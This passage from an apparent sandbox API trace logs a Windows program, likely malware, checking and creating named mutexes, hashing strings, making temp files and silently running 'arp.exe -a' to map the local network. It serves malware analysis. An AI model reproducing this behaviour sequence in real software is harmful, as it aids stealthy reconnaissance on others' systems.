Size=0x184) returned 0x2218d08 [0042.619] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c990 [0042.619] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90ca20 [0042.619] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90ca68 [0042.619] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90cab0 [0042.619] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90caf8 [0042.619] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90cb40 [0042.619] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90cb88 [0042.619] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90cbd0 [0042.619] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2218eb0 [0042.619] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2218ef8 [0042.619] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2218f40 [0042.619] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2218f88 [0042.619] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2218fd0 [0042.620] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219018 [0042.620] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219060 [0042.620] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22190a8 [0042.620] CryptCreateHash (in: hProv=0x743ac8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x53f8e8 | out: phHash=0x53f8e8) returned 1 [0042.620] CryptHashData (hHash=0x7327d0, pbData=0x90c240, dwDataLen=0x16, dwFlags=0x0) returned 1 [0042.620] CryptGetHashParam (in: hHash=0x7327d0, dwParam=0x4, pbData=0x53f8ec, pdwDataLen=0x53f8f8, dwFlags=0x0 | out: pbData=0x53f8ec, pdwDataLen=0x53f8f8) returned 1 [0042.620] CryptGetHashParam (in: hHash=0x7327d0, dwParam=0x2, pbData=0x90c9d8, pdwDataLen=0x53f8ec, dwFlags=0x0 | out: pbData=0x90c9d8, pdwDataLen=0x53f8ec) returned 1 [0042.620] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22190f0 [0042.620] CryptDestroyHash (hHash=0x7327d0) returned 1 [0042.620] CryptReleaseContext (hProv=0x743ac8, dwFlags=0x0) returned 1 [0042.620] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c9d8) returned 1 [0042.620] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c9d8 [0042.620] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219138 [0042.620] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c9d8) returned 1 [0042.620] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c9d8 [0042.620] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c9d8) returned 1 [0042.620] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219138) returned 1 [0042.620] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22190f0) returned 1 [0042.620] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22190f0 [0042.620] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{06C11002-99B9-5502-651C-628268B034F2}") returned 0x0 [0042.620] GetLastError () returned 0x2 [0042.620] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x5000) returned 0x2212850 [0042.620] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219138 [0042.621] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219138) returned 1 [0042.621] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0042.622] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212850) returned 1 [0042.622] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7286b8, lpbSaclPresent=0x53f8b0, pSacl=0x53f904, lpbSaclDefaulted=0x53f8b0 | out: lpbSaclPresent=0x53f8b0, pSacl=0x53f904, lpbSaclDefaulted=0x53f8b0) returned 1 [0042.622] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219138 [0042.622] CreateEventA (lpEventAttributes=0x53f8f8, bManualReset=1, bInitialState=0, lpName="{06C11002-99B9-5502-651C-628268B034F2}") returned 0xf8 [0042.622] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219138) returned 1 [0042.622] GetLastError () returned 0x0 [0042.622] SetSecurityInfo () returned 0x0 [0042.627] LocalFree (hMem=0x7286b8) returned 0x0 [0042.627] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219138 [0042.627] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x5000) returned 0x2212850 [0042.627] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219180 [0042.627] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219180) returned 1 [0042.627] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0042.647] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212850) returned 1 [0042.647] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7286b8, lpbSaclPresent=0x53f8b0, pSacl=0x53f904, lpbSaclDefaulted=0x53f8b0 | out: lpbSaclPresent=0x53f8b0, pSacl=0x53f904, lpbSaclDefaulted=0x53f8b0) returned 1 [0042.647] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219180 [0042.647] CreateEventA (lpEventAttributes=0x53f8f8, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0042.647] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219180) returned 1 [0042.647] GetLastError () returned 0x0 [0042.647] LocalFree (hMem=0x7286b8) returned 0x0 [0042.647] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219180 [0042.647] CryptAcquireContextW (in: phProv=0x53f8e8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f8e8*=0x743fa0) returned 1 [0042.648] CryptCreateHash (in: hProv=0x743fa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x53f8e8 | out: phHash=0x53f8e8) returned 1 [0042.648] CryptHashData (hHash=0x7327d0, pbData=0x90c240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0042.648] CryptGetHashParam (in: hHash=0x7327d0, dwParam=0x4, pbData=0x53f8ec, pdwDataLen=0x53f8f8, dwFlags=0x0 | out: pbData=0x53f8ec, pdwDataLen=0x53f8f8) returned 1 [0042.648] CryptGetHashParam (in: hHash=0x7327d0, dwParam=0x2, pbData=0x2219180, pdwDataLen=0x53f8ec, dwFlags=0x0 | out: pbData=0x2219180, pdwDataLen=0x53f8ec) returned 1 [0042.648] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22191c8 [0042.648] CryptDestroyHash (hHash=0x7327d0) returned 1 [0042.648] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0042.648] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219180) returned 1 [0042.648] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219180 [0042.648] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219210 [0042.649] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219180) returned 1 [0042.649] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219180 [0042.649] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219180) returned 1 [0042.649] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219210) returned 1 [0042.649] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22191c8) returned 1 [0042.649] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22191c8 [0042.649] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219210 [0042.649] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0042.649] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219210) returned 1 [0042.649] GetLastError () returned 0x5 [0042.649] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219210 [0042.649] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0042.649] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219210) returned 1 [0042.649] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219210 [0042.649] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x13c [0042.649] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219210) returned 1 [0042.649] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0042.873] ReleaseMutex (hMutex=0x13c) returned 0 [0042.874] GetLastError () returned 0x120 [0042.876] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219210 [0042.877] Wow64DisableWow64FsRedirection (in: OldValue=0x53f830 | out: OldValue=0x53f830*=0x1) returned 1 [0042.877] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0042.878] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e840 [0042.879] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0042.879] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e9d8 [0042.880] GetLogicalDrives () returned 0x4 [0042.947] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0042.953] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219180 [0042.953] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ea60 [0042.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.954] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219258 [0042.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x2219258, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0042.955] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22192a0 [0042.956] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219258) returned 1 [0042.956] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ea60) returned 1 [0042.957] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219258 [0042.957] CryptAcquireContextW (in: phProv=0x53f7ac, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f7ac*=0x743fa0) returned 1 [0042.966] CryptCreateHash (in: hProv=0x743fa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x53f7ac | out: phHash=0x53f7ac) returned 1 [0042.966] CryptHashData (hHash=0x7327d0, pbData=0x22192a0, dwDataLen=0xa, dwFlags=0x0) returned 1 [0042.966] CryptGetHashParam (in: hHash=0x7327d0, dwParam=0x4, pbData=0x53f7b0, pdwDataLen=0x53f7bc, dwFlags=0x0 | out: pbData=0x53f7b0, pdwDataLen=0x53f7bc) returned 1 [0042.966] CryptGetHashParam (in: hHash=0x7327d0, dwParam=0x2, pbData=0x2219258, pdwDataLen=0x53f7b0, dwFlags=0x0 | out: pbData=0x2219258, pdwDataLen=0x53f7b0) returned 1 [0042.966] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22192e8 [0042.966] CryptDestroyHash (hHash=0x7327d0) returned 1 [0042.966] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0042.966] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219258) returned 1 [0042.966] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219258 [0042.966] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219330 [0042.966] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219258) returned 1 [0042.966] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219258 [0042.966] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219258) returned 1 [0042.966] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219330) returned 1 [0042.966] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22192e8) returned 1 [0042.966] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22192e8 [0042.966] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219330 [0042.966] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219330) returned 1 [0042.966] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219330 [0042.966] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{{16E1D10-D-C0-32-9-739--65D6-A4AD8A8}") returned 0x0 [0042.966] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219330) returned 1 [0042.966] GetLastError () returned 0x2 [0042.966] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x5000) returned 0x2212850 [0042.966] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219330 [0042.966] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219330) returned 1 [0042.966] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0042.970] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212850) returned 1 [0042.971] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7286b8, lpbSaclPresent=0x53f770, pSacl=0x53f7c8, lpbSaclDefaulted=0x53f770 | out: lpbSaclPresent=0x53f770, pSacl=0x53f7c8, lpbSaclDefaulted=0x53f770) returned 1 [0042.971] CreateMutexA (lpMutexAttributes=0x53f7bc, bInitialOwner=0, lpName="{{16E1D10-D-C0-32-9-739--65D6-A4AD8A8}") returned 0x140 [0042.973] GetLastError () returned 0x0 [0042.973] SetSecurityInfo () returned 0x0 [0042.974] LocalFree (hMem=0x7286b8) returned 0x0 [0042.975] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0xffffffff) returned 0x0 [0042.978] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ea60 [0042.978] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eae8 [0042.978] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x100) returned 0x2219e98 [0042.981] GetSystemDirectoryW (in: lpBuffer=0x2219e98, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0042.981] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219e98) returned 1 [0042.982] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0042.983] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0042.983] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219330 [0042.985] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0042.986] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x2212850 [0042.987] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x2212c58 [0042.987] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x2212850, nSize=0x100 | out: lpBuffer="C:\\Windows\\TEMP") returned 0xf [0042.989] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP", lpszShortPath=0x2212c58, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP") returned 0xf [0043.452] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212c58) returned 1 [0043.452] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212850) returned 1 [0043.452] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0043.453] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0043.453] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x2212850 [0043.453] CryptAcquireContextW (in: phProv=0x53f5b4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b4*=0x743fa0) returned 1 [0043.453] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c8 | out: pbBuffer=0x53f5c8) returned 1 [0043.453] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0043.454] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0043.454] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0043.454] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0043.454] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0043.454] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0043.455] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0043.455] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0043.455] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0043.456] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0043.456] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0043.456] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0043.457] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0043.457] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0043.457] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0043.457] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0043.457] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0043.457] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0043.458] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0043.458] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0043.458] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0043.459] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0043.459] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0043.459] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0043.460] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0043.460] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0043.460] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="gu", uUnique=0x0, lpTempFileName=0x2212850 | out: lpTempFileName="C:\\Windows\\TEMP\\guA968.tmp" (normalized: "c:\\windows\\temp\\gua968.tmp")) returned 0xa968 [0043.461] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0043.461] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x2212c58 [0043.461] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\guA968.tmp", lpszShortPath=0x2212c58, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\guA968.tmp") returned 0x1a [0043.461] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212850) returned 1 [0043.461] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0043.461] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0043.461] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x2212850 [0043.461] CryptAcquireContextW (in: phProv=0x53f5b4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b4*=0x743fa0) returned 1 [0043.462] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c8 | out: pbBuffer=0x53f5c8) returned 1 [0043.462] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0043.462] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0043.462] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0043.463] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0043.463] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0043.463] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0043.464] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0043.464] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0043.464] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0043.464] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0043.464] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0043.464] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0043.465] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0043.465] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0043.465] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="j", uUnique=0x0, lpTempFileName=0x2212850 | out: lpTempFileName="C:\\Windows\\TEMP\\jA969.tmp" (normalized: "c:\\windows\\temp\\ja969.tmp")) returned 0xa969 [0043.466] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0043.466] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x2213060 [0043.466] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\jA969.tmp", lpszShortPath=0x2213060, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\jA969.tmp") returned 0x19 [0043.466] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212850) returned 1 [0043.466] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0043.466] CreateFileW (lpFileName="C:\\Windows\\TEMP\\guA968.tmp" (normalized: "c:\\windows\\temp\\gua968.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x53f664, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x144 [0043.466] CreateFileW (lpFileName="C:\\Windows\\TEMP\\jA969.tmp" (normalized: "c:\\windows\\temp\\ja969.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x53f664, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0043.466] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\arp.exe", lpCommandLine="C:\\Windows\\system32\\\\arp.exe -a", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x53f6a4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x144, hStdError=0x148), lpProcessInformation=0x53f670 | out: lpCommandLine="C:\\Windows\\system32\\\\arp.exe -a", lpProcessInformation=0x53f670*(hProcess=0x150, hThread=0x14c, dwProcessId=0xb04, dwThreadId=0xb08)) returned 1 [0043.495] NtClose (Handle=0x14c) returned 0x0 [0043.495] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xea60) returned 0x0 [0045.171] NtClose (Handle=0x144) returned 0x0 [0045.171] NtClose (Handle=0x148) returned 0x0 [0045.171] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0045.172] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x184) returned 0x2212850 [0045.172] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219258 [0045.172] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219378 [0045.172] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22193c0 [0045.172] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219408 [0045.172] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219450 [0045.172] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219498 [0045.172] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22194e0 [0045.172] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219528 [0045.172] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219570 [0045.172] RtlAllocateHeap 